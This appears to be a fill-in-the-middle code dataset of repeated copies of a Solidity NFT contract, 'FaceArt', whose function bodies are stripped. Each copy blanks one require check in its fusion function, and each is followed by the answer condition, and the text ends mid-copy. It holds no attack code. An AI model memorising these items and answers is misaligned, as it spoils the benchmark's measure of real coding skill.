import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(ownerOf(tokenId1) == _msgSender(), "Not owner of NFT");
require(<FILL_ME>)
require(ownerOf(tokenId2) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId2] < Level.A1, "Invalid level");
require(tokenLevel[tokenId1] != tokenLevel[tokenId2], "Tokens should have different type");
_burn(tokenId1);
_burn(tokenId2);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
if (whitelist[_msgSender()]) {
burnVoucher[currentTokenId] = BurnVoucher({recipient: _msgSender(), emitTimestamp: block.timestamp});
emit BurnTicket(_msgSender(), block.timestamp, currentTokenId);
}
return currentTokenId;
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| tokenLevel[tokenId1]<Level.A1,"Invalid level" | 86,047 | tokenLevel[tokenId1]<Level.A1 |
"Not owner of NFT" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(ownerOf(tokenId1) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId1] < Level.A1, "Invalid level");
require(<FILL_ME>)
require(tokenLevel[tokenId2] < Level.A1, "Invalid level");
require(tokenLevel[tokenId1] != tokenLevel[tokenId2], "Tokens should have different type");
_burn(tokenId1);
_burn(tokenId2);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
if (whitelist[_msgSender()]) {
burnVoucher[currentTokenId] = BurnVoucher({recipient: _msgSender(), emitTimestamp: block.timestamp});
emit BurnTicket(_msgSender(), block.timestamp, currentTokenId);
}
return currentTokenId;
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| ownerOf(tokenId2)==_msgSender(),"Not owner of NFT" | 86,047 | ownerOf(tokenId2)==_msgSender() |
"Invalid level" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(ownerOf(tokenId1) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId1] < Level.A1, "Invalid level");
require(ownerOf(tokenId2) == _msgSender(), "Not owner of NFT");
require(<FILL_ME>)
require(tokenLevel[tokenId1] != tokenLevel[tokenId2], "Tokens should have different type");
_burn(tokenId1);
_burn(tokenId2);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
if (whitelist[_msgSender()]) {
burnVoucher[currentTokenId] = BurnVoucher({recipient: _msgSender(), emitTimestamp: block.timestamp});
emit BurnTicket(_msgSender(), block.timestamp, currentTokenId);
}
return currentTokenId;
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| tokenLevel[tokenId2]<Level.A1,"Invalid level" | 86,047 | tokenLevel[tokenId2]<Level.A1 |
"Tokens should have different type" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(ownerOf(tokenId1) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId1] < Level.A1, "Invalid level");
require(ownerOf(tokenId2) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId2] < Level.A1, "Invalid level");
require(<FILL_ME>)
_burn(tokenId1);
_burn(tokenId2);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
if (whitelist[_msgSender()]) {
burnVoucher[currentTokenId] = BurnVoucher({recipient: _msgSender(), emitTimestamp: block.timestamp});
emit BurnTicket(_msgSender(), block.timestamp, currentTokenId);
}
return currentTokenId;
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| tokenLevel[tokenId1]!=tokenLevel[tokenId2],"Tokens should have different type" | 86,047 | tokenLevel[tokenId1]!=tokenLevel[tokenId2] |
"Not owner of NFT" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
